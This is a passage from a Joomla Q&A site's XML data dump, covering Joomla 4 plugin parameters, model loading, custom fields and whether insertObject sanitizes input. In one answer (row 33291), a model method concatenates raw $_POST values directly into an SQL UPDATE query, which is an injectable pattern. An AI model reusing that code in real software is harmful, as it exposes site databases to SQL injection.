  <row Id="33291" PostTypeId="2" ParentId="33287" CreationDate="2023-08-13T13:32:47.610" Score="1" Body="&lt;p&gt;Dears &amp;amp; dear Irata&lt;/p&gt;&#xA;&lt;p&gt;I finally changed my way. This is the way of updating that blocked on the model side. Here are the changes if it can help&lt;/p&gt;&#xA;&lt;p&gt;Default.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    $.ajax({&#xA;        type: &amp;quot;post&amp;quot;,&#xA;        url: &amp;quot;index.php?option=com_litsupp&amp;amp;task=reservations.update&amp;quot;,&#xA;        data:&#xA;        {&#xA;            token : csrf,&#xA;            id : id,&#xA;            arrivee : arrivee,&#xA;            depart : depart,&#xA;            lit : lit&#xA;        },&#xA;        cache: false,&#xA;        success: function(){&#xA;            location.reload();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;reservationsController.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function update($key = null, $urlVar = null)&#xA;{&#xA;    $result = new \stdClass();&#xA;    $id     = $this-&amp;gt;input-&amp;gt;getInt('id', 0);&#xA;    $arrivee = $this-&amp;gt;input-&amp;gt;get('arrivee','','string');&#xA;    $depart = $this-&amp;gt;input-&amp;gt;get('depart','','string');&#xA;    $lit = $this-&amp;gt;input-&amp;gt;get('lit',0,'int');&#xA;    $model = $this-&amp;gt;getModel('Reservations', 'Site');&#xA;    if ($id &amp;gt; 0) {&#xA;        $return = $model-&amp;gt;updateResas(array(&#xA;            'id' =&amp;gt; $id,&#xA;            'arrivee' =&amp;gt; $arrivee,&#xA;            'depart' =&amp;gt; $depart,&#xA;            'lit' =&amp;gt; $lit&#xA;        ));&#xA;    }&#xA;    $result-&amp;gt;status = $r;&#xA;    $result-&amp;gt;row = $id;&#xA;    echo json_encode($result);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;reservationsModel :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function updateResas()&#xA;{&#xA;    $db = $this-&amp;gt;getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query&#xA;        -&amp;gt;update($db-&amp;gt;quoteName('#__litsupp_reservations'))&#xA;        -&amp;gt;set($db-&amp;gt;quoteName('arrivee') . ' = &amp;quot;' . $_POST['arrivee'] . '&amp;quot;')&#xA;        -&amp;gt;set($db-&amp;gt;quoteName('depart') . ' = &amp;quot;' . $_POST['depart'] . '&amp;quot;')&#xA;        -&amp;gt;set($db-&amp;gt;quoteName('lit') . ' = &amp;quot;' . $_POST['lit'] . '&amp;quot;')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = &amp;quot;' . $_POST['id'] . '&amp;quot;');&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;execute();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks a lot Irata for your help.&lt;/p&gt;&#xA;" OwnerUserId="16693" LastActivityDate="2023-08-13T13:32:47.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33292" PostTypeId="2" ParentId="33290" CreationDate="2023-08-13T20:12:09.487" Score="2" Body="&lt;p&gt;It's not clear what the screenshot is supposed to show and what is the context. Where do you add those images?&lt;/p&gt;&#xA;&lt;p&gt;When editing a Joomla article, you can add images through the Images tab, and there you can add a title attribute to the image through the Caption field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WMOgh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WMOgh.png&quot; alt=&quot;Joomla Article Images&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are adding an image through in the content via the core Editor, then you can add a title through the Image Title Field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qmUPN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qmUPN.png&quot; alt=&quot;Joomla Editor Image Panel&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are using JCE Editor, then via the JCE Image manager you Advanced Tab you can add a title to the inserted image.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BvD4A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BvD4A.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2023-08-13T20:20:20.480" LastActivityDate="2023-08-13T20:20:20.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33293" PostTypeId="2" ParentId="33289" CreationDate="2023-08-13T22:06:16.670" Score="0" Body="&lt;p&gt;It looks like you are setting the $state variable in reverse.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;state = $state;&#xA;&#xA;if ($table-&amp;gt;catid == $joinCat) {&#xA;    if ($state == 1) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think it should be&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$state = $table-&amp;gt;state;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-08-14T07:11:08.700" LastActivityDate="2023-08-14T07:11:08.700" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33295" PostTypeId="2" ParentId="33283" CreationDate="2023-08-14T19:15:37.290" Score="1" Body="&lt;p&gt;Looks like in Joomla there is a better way to solve this issue than using mod_rewrite. A big advantage seems to be that you do not have to rely only on the Apache server, i.e. if you want to use nginx.&lt;/p&gt;&#xA;&lt;p&gt;Here some links I found on how to write a Custom Router in Joomla:&lt;/p&gt;&#xA;&lt;p&gt;For Joomla 4&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.dionysopoulos.me/book/com-router.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dionysopoulos.me/book/com-router.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://youtu.be/zqyjRuVaT8M&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/zqyjRuVaT8M&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/31515/router-for-joomla-4&quot;&gt;Router for Joomla 4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For Joomla 3&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you know of better tutorials, feel free to post your links to this topic.&lt;/p&gt;&#xA;&lt;p&gt;Edit:&#xA;This thread should also be helpful:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/33319/joomla-4-router-forward-to-controller-function&quot;&gt;Joomla 4 Router forward to Controller function&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-09-01T15:58:04.500" LastActivityDate="2023-09-01T15:58:04.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33296" PostTypeId="1" AcceptedAnswerId="33304" CreationDate="2023-08-14T20:35:39.450" Score="0" ViewCount="206" Body="&lt;p&gt;I have a Joomla 4 plugin that uses a ServiceProvider which basically works fine. It's just that I can't access the plugin's configuration parameters.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace &amp;lt;Domain&amp;gt;\Plugin\System\Replacer\Extension;&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Event\Event;&#xA;use Joomla\Event\SubscriberInterface;&#xA;&#xA;/**&#xA; * &#xA; */&#xA;class Replacer extends CMSPlugin implements SubscriberInterface&#xA;{&#xA;&#xA;    protected $app;&#xA;&#xA;    public static function getSubscribedEvents(): array&#xA;    {&#xA;        return [&#xA;            'onAfterRender' =&amp;gt; 'replaceStrings',&#xA;        ];&#xA;    }&#xA;&#xA;&#xA;    public function replaceStrings(Event $event)&#xA;    {&#xA;        &#xA;        echo $this-&amp;gt;params-&amp;gt;get('is_debug'); // Call to a member function get() on null!!!&#xA;        &#xA;        $body = $this-&amp;gt;app-&amp;gt;getBody();&#xA;        ....&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The configuration xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension method=&amp;quot;upgrade&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;system&amp;quot;&amp;gt;&#xA;&#xA;    ...&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder plugin=&amp;quot;replacer&amp;quot;&amp;gt;services&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;        &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;            &amp;lt;fieldset name=&amp;quot;basic&amp;quot;&amp;gt;&#xA;&#xA;                &amp;lt;field name=&amp;quot;is_debug&amp;quot; class=&amp;quot;btn-group&amp;quot; type=&amp;quot;radio&amp;quot; layout=&amp;quot;joomla.form.field.radio.switcher&amp;quot; label=&amp;quot;Debug&amp;quot; default=&amp;quot;0&amp;quot; description=&amp;quot;Debug Description&amp;quot;&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/field&amp;gt;&#xA;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The ServiceProvider:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Extension\PluginInterface;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;use Joomla\Event\DispatcherInterface;&#xA;use &amp;lt;Domain&amp;gt;\Plugin\System\Replacer\Extension\Replacer;&#xA;&#xA;    return new class() implements ServiceProviderInterface&#xA;    {&#xA;        public function register(Container $container)&#xA;        {&#xA;            $container-&amp;gt;set(&#xA;                PluginInterface::class,&#xA;                function (Container $container) {&#xA;    &#xA;                    $config = (array) PluginHelper::getPlugin('system', 'replacer');&#xA;                    $subject = $container-&amp;gt;get(DispatcherInterface::class);&#xA;                    $app = Factory::getApplication();&#xA;                    &#xA;                    $plugin = new Replacer($subject, $config);&#xA;                    $plugin-&amp;gt;setApplication($app);&#xA;    &#xA;                    return $plugin;&#xA;                }&#xA;            );&#xA;        }&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the error message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 0&#xA;Call to a member function get() on null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-08-18T13:44:09.683" LastActivityDate="2023-08-18T13:48:54.810" Title="$this-&gt;params() is Null in Joomla 4 Plugin" Tags="|plugin|joomla-4.x|system-plugin|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33297" PostTypeId="2" ParentId="33296" CreationDate="2023-08-14T22:36:53.400" Score="1" Body="&lt;p&gt;If you add a call to the parent constructor in your plugin then it will retrieve the plugins configuration and prime the property of $this-&amp;gt;param with the values for you.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(&amp;amp;$subject, $config)&#xA;{&#xA;    parent::__construct($subject, $config);&#xA;&#xA;    $fred = $this-&amp;gt;params-&amp;gt;get('is_debug',false);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You will need to edit and save the Plugin at least once after it has been Installed or Discover'ed to save the Params to the field in the record for your plugin in the #__extensions table.&lt;/p&gt;&#xA;&lt;p&gt;You can check the #__extensions table and see if there is anything saved in the params field of the record for your plugin. If it is empty then you will see the symptoms you are describing.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-08-15T09:53:44.093" LastActivityDate="2023-08-15T09:53:44.093" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33298" PostTypeId="1" AcceptedAnswerId="33299" CreationDate="2023-08-15T13:15:39.643" Score="2" ViewCount="104" Body="&lt;p&gt;Let's suppose I want to insert a new record into a table.&lt;/p&gt;&#xA;&lt;p&gt;Let's suppose that the table is of the structure of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mytable(id, my_text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, for example, we are to insert a new record, I would like to insert the &lt;strong&gt;I'm OK&lt;/strong&gt; text, generating something like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;insert into mytable(my_text)&#xA;values('I\'m OK');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, I would write this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $db = JFactory::getDbo();&#xA;        $action = new StdClass();&#xA;        $action-&amp;gt;my_text = &amp;quot;I'm OK&amp;quot;;&#xA;        $db-&amp;gt;insertObject('mytable', $action);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Am I correct to assume that this call to &lt;code&gt;insertObject&lt;/code&gt; is properly sanitized?&lt;/p&gt;&#xA;" OwnerUserId="17257" LastActivityDate="2023-08-16T10:56:34.127" Title="Is insertObject sanitizing the inputs?" Tags="|mysql|database|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33299" PostTypeId="2" ParentId="33298" CreationDate="2023-08-15T13:31:44.227" Score="1" Body="&lt;p&gt;In the meantime I experimented with this to find out the answer. I have tested with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $action-&amp;gt;json_data = json_encode([&#xA;            'category' =&amp;gt; $category,&#xA;            'template' =&amp;gt; $template,&#xA;            'somethingelse' =&amp;gt; &amp;quot;I'm okay&amp;quot;&#xA;        ]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and it was properly stored in the database&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F80kD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F80kD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hence, the method appears to be sanitized. I will accept this answer in two days unless some Joomla guru points out that I was wrong.&lt;/p&gt;&#xA;" OwnerUserId="17257" LastActivityDate="2023-08-15T13:31:44.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33300" PostTypeId="1" CreationDate="2023-08-15T19:06:37.813" Score="0" ViewCount="40" Body="&lt;p&gt;What is exactly the difference between:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = \JModelLegacy::getInstance('Objects', 'MyModel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = BaseDatabaseModel::getInstance('Objects', 'MyModel');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there some performance differences? Is one of them getting removed earlier in Joomla 5?&#xA;The communcation and documentation around the Joomla Framework is bad.&lt;/p&gt;&#xA;&lt;p&gt;I cannot do this yet so please dont suggest:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model = $component-&amp;gt;getMVCFactory()-&amp;gt;createModel($modelName, $this-&amp;gt;app-&amp;gt;getName(), ['ignore_request' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-08-16T05:13:26.993" Title="Differences in getting a model" Tags="|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33301" PostTypeId="2" ParentId="33298" CreationDate="2023-08-16T05:01:21.000" Score="0" Body="&lt;p&gt;There is basic checking of the fields and special handling of certain types of fields to avoid failure but it is minimal. Depending on your circumstances as what you are doing as to whether you need more. For example if you are working with developing a Joomla extension you might be better off using the model/table methods to do more validation and sanitising. However if your need is a quick and dirty save of the data then what you are doing is a valid solution.&lt;/p&gt;&#xA;&lt;p&gt;For more details of what is happening with the insertObject()method this is the code being executed.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function insertObject($table, &amp;amp;$object, $key = null)&#xA;{&#xA;    $fields       = [];&#xA;    $values       = [];&#xA;    $tableColumns = $this-&amp;gt;getTableColumns($table);&#xA;&#xA;    // Iterate over the object variables to build the query fields and values.&#xA;    foreach (get_object_vars($object) as $k =&amp;gt; $v)&#xA;    {&#xA;        // Skip columns that don't exist in the table.&#xA;        if (!array_key_exists($k, $tableColumns))&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        // Only process non-null scalars.&#xA;        if (\is_array($v) || \is_object($v) || $v === null)&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        // Ignore any internal fields.&#xA;        if ($k[0] === '_')&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        // Ignore null datetime fields.&#xA;        if ($tableColumns[$k] === 'datetime' &amp;amp;&amp;amp; empty($v))&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        // Ignore null integer fields.&#xA;        if (stristr($tableColumns[$k], 'int') !== false &amp;amp;&amp;amp; $v === '')&#xA;        {&#xA;            continue;&#xA;        }&#xA;&#xA;        // Prepare and sanitize the fields and values for the database query.&#xA;        $fields[] = $this-&amp;gt;quoteName($k);&#xA;        $values[] = $this-&amp;gt;quote($v);&#xA;    }&#xA;&#xA;    // Create the base insert statement.&#xA;    $query = $this-&amp;gt;getQuery(true)&#xA;        -&amp;gt;insert($this-&amp;gt;quoteName($table))&#xA;        -&amp;gt;columns($fields)&#xA;        -&amp;gt;values(implode(',', $values));&#xA;&#xA;    // Set the query and execute the insert.&#xA;    $this-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;&#xA;    // Update the primary key if it exists.&#xA;    $id = $this-&amp;gt;insertid();&#xA;&#xA;    if ($key &amp;amp;&amp;amp; $id &amp;amp;&amp;amp; \is_string($key))&#xA;    {&#xA;        $object-&amp;gt;$key = $id;&#xA;    }&#xA;&#xA;    return true;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Update 16th August to answer the question from @Lajos Arpad.&lt;/p&gt;&#xA;&lt;p&gt;The approach above in the OP is more less creating simple SQL statements to insert the data into the table and can be included almost anywhere.&lt;/p&gt;&#xA;&lt;p&gt;When building a component the preferred approach is to use the Model View Controller(MVC) methodology that intends access to the data should only be done through a Model class. Joomla provides a number of Model classes that can be used, and extended, to deal with read and writing to the database such as ListModel, AdminModel, FormModdel all of which extend from BaseDatabaseModel&lt;/p&gt;&#xA;&lt;p&gt;This is covered in reasonable detail here, &lt;a href=&quot;https://docs.joomla.org/Model-View-Controller&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Model-View-Controller&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla also adds the use of Table classes that are used to write and read data from a single database table.&lt;/p&gt;&#xA;&lt;p&gt;In relation to the original question it is the in-built methods in the Table and Model class(es) where you can use as is, extend or override the methods to manipulate(i.e. sanitise) your data before and after the database table is accessed.&lt;/p&gt;&#xA;&lt;p&gt;There is a lot of context required around what your are coding and how it is to be used or maintained to say whether you need to follow the MVC approach at all, however if you intended to develop for Joomla at any scale it is worth learning about what Joomla can do for you.&lt;/p&gt;&#xA;&lt;p&gt;For an example of your code using the Model and Table classes is would become something like this, however there is lot more that has been set up to get to this stage&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$action = new StdClass();&#xA;$action-&amp;gt;my_text = &amp;quot;I'm OK&amp;quot;;&#xA;$this-&amp;gt;mytable-&amp;gt;save($action);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is on the other hand a lot more happening as art of the save() method. It is like comparing Apples to Oranges.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-08-16T10:56:34.127" LastActivityDate="2023-08-16T10:56:34.127" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33302" PostTypeId="2" ParentId="33300" CreationDate="2023-08-16T05:13:26.993" Score="1" Body="&lt;p&gt;JModelLegacy is now just an alias of BaseDatabaseModel to support older references to JModelLegacy therefore there is no difference at all between either statement.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerAlias('JModelLegacy', '\\Joomla\\CMS\\MVC\\Model\\BaseDatabaseModel', '6.0');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;createModel()&lt;/code&gt; function in the LegacyFactory class, not the &lt;code&gt;createModel()&lt;/code&gt; method you have shown above from MVCFactory, also uses &lt;code&gt;BaseDatabaseModel::getInstance&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2023-08-16T05:13:26.993" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33303" PostTypeId="1" AcceptedAnswerId="33492" CreationDate="2023-08-16T14:45:04.270" Score="2" ViewCount="62" Body="&lt;p&gt;I think I have to write a custom plugin for this, but just for exhaustion, is this already possible? Or anyone knows a plugin that can do it?&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-11-22T12:23:40.583" Title="Can I use a temporary access token instead of username and password to create a login session?" Tags="|authentication|security-token|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33304" PostTypeId="2" ParentId="33296" CreationDate="2023-08-18T13:48:54.810" Score="0" Body="&lt;p&gt;Finally I found the error: In my Plugin the plugin attribute in the configuration xml&#xA;&lt;code&gt;&amp;lt;files&amp;gt;&amp;lt;folder plugin=&amp;quot;**replacer**&amp;quot;&amp;gt;services&amp;lt;/folder&amp;gt;&lt;/code&gt;&#xA;did not match the 2nd parameter of the getPlugin call in the service provider:&#xA;&lt;code&gt;$config = (array) PluginHelper::getPlugin('system', '**replacer**');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;For debugging, I found it useful to temporarily print the $config array in the service provider.&lt;/p&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2023-08-18T13:48:54.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33305" PostTypeId="1" AcceptedAnswerId="33307" CreationDate="2023-08-20T14:47:16.473" Score="2" ViewCount="123" Body="&lt;p&gt;I am creating an article in Joomla 4 using the excellent code that is suggested here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/32343/joomla-4-create-article-programmatically&quot;&gt;Joomla 4 create article programmatically&lt;/a&gt;&#xA;My task is write the values of the custom field simultaneously with the creation of the article. The search for a solution leads only to results for Joomla 3. I ask for help for Joomla 4&lt;/p&gt;&#xA;" OwnerUserId="17265" LastEditorUserId="17265" LastEditDate="2023-08-20T17:21:54.887" LastActivityDate="2023-08-22T07:22:13.963" Title="Filling custom fields when creating an article with an script via the API" Tags="|php|joomla-4.x|joomla-api|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33306" PostTypeId="1" CreationDate="2023-08-20T19:33:49.197" Score="1" ViewCount="16" Body="&lt;p&gt;It seems that it is not possible to set a menu item from the CiviCRM extension for Joomla as the default page in J4. Or rather when the website is visited there is no content, while the menu item is rendered as &amp;quot;active&amp;quot; and clicking the menu explicitly produces the correct content.&lt;/p&gt;&#xA;&lt;p&gt;This worked in J3.&lt;/p&gt;&#xA;&lt;p&gt;I'm looking for clues on why this might be so, for example&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are there any breaking changes in how the routing for menu items provided by extensions work between J3 and J4?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Some background information on how default page &amp;quot;routing&amp;quot; would also be helpful.&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2023-08-20T19:33:49.197" Title="J4 default page from CiviCRM extension not working" Tags="|extensions|menu-item|routing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33307" PostTypeId="2" ParentId="33305" CreationDate="2023-08-22T07:22:13.963" Score="1" Body="&lt;p&gt;In case you're referring to &lt;a href=&quot;https://joomla.stackexchange.com/a/32345/12652&quot;&gt;this answer&lt;/a&gt;, you can add &lt;code&gt;com_fields&lt;/code&gt; array to the data array before passing it to model's &lt;code&gt;save()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$article = [&#xA;    'title' =&amp;gt; 'article title',&#xA;    'catid' =&amp;gt; 2',&#xA;    'com_fields' =&amp;gt; [&#xA;        'test-field' =&amp;gt; 'field value',&#xA;    ],&#xA;    ...&#xA;];&#xA;&#xA;if (!$articleModel-&amp;gt;save($article)){&#xA;    throw new Exception($articleModel-&amp;gt;getError());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, this may not work if you're not logged in as user with field editing permissions. This is because Joomla does not adhere to its advertised MVC architecture. In this case, permission check is performed by the field model when in reality it should be the responsibility of the controller.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-08-22T07:22:13.963" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33309" PostTypeId="2" ParentId="32417" CreationDate="2023-08-23T07:57:24.540" Score="0" Body="&lt;p&gt;Found solution and has nothing to do with Joomla; problem &amp;gt; Server Environment of PATH of execution. As for now I solved it by CD into the directory and run the script from there&lt;/p&gt;&#xA;" OwnerUserId="17270" LastActivityDate="2023-08-23T07:57:24.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33310" PostTypeId="1" AcceptedAnswerId="33313" CreationDate="2023-08-24T15:21:08.230" Score="0" ViewCount="106" Body="&lt;p&gt;In Joomla 4.3.4 I have created a menu item Create Article for a specific category. When I try to create a new Article and enter the edit view, I get the following error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0 htmlspecialchars(): Argument #1 ($string) must be of type string, array given&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This does not happen when editing existing articles. The call stack looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#   Function    Location&#xA;1   ()  JROOT/administrator/components/com_categories/layouts/joomla/form/field/categoryedit.php:103&#xA;2   htmlspecialchars()  JROOT/administrator/components/com_categories/layouts/joomla/form/field/categoryedit.php:103&#xA;3   include()   JROOT/libraries/src/Layout/FileLayout.php:128&#xA;4   Joomla\CMS\Layout\FileLayout-&amp;gt;render()  JROOT/administrator/components/com_categories/src/Field/CategoryeditField.php:369&#xA;5   Joomla\Component\Categories\Administrator\Field\CategoryeditField-&amp;gt;getInput()   JROOT/libraries/src/Form/FormField.php:1029&#xA;6   Joomla\CMS\Form\FormField-&amp;gt;renderField()    JROOT/libraries/src/Form/Form.php:536&#xA;7   Joomla\CMS\Form\Form-&amp;gt;renderField() JROOT/components/com_content/tmpl/form/edit.php:106&#xA;8   include()   JROOT/libraries/src/MVC/View/HtmlView.php:410&#xA;9   Joomla\CMS\MVC\View\HtmlView-&amp;gt;loadTemplate()    JROOT/libraries/src/MVC/View/HtmlView.php:203&#xA;10  Joomla\CMS\MVC\View\HtmlView-&amp;gt;display() JROOT/components/com_content/src/View/Form/HtmlView.php:197&#xA;11  Joomla\Component\Content\Site\View\Form\HtmlView-&amp;gt;display() JROOT/libraries/src/MVC/Controller/BaseController.php:645&#xA;12  Joomla\CMS\MVC\Controller\BaseController-&amp;gt;display() JROOT/components/com_content/src/Controller/DisplayController.php:121&#xA;13  Joomla\Component\Content\Site\Controller\DisplayController-&amp;gt;display()   JROOT/libraries/src/MVC/Controller/BaseController.php:678&#xA;14  Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute() JROOT/libraries/src/Dispatcher/ComponentDispatcher.php:143&#xA;15  Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()   JROOT/components/com_content/src/Dispatcher/Dispatcher.php:56&#xA;16  Joomla\Component\Content\Site\Dispatcher\Dispatcher-&amp;gt;dispatch() 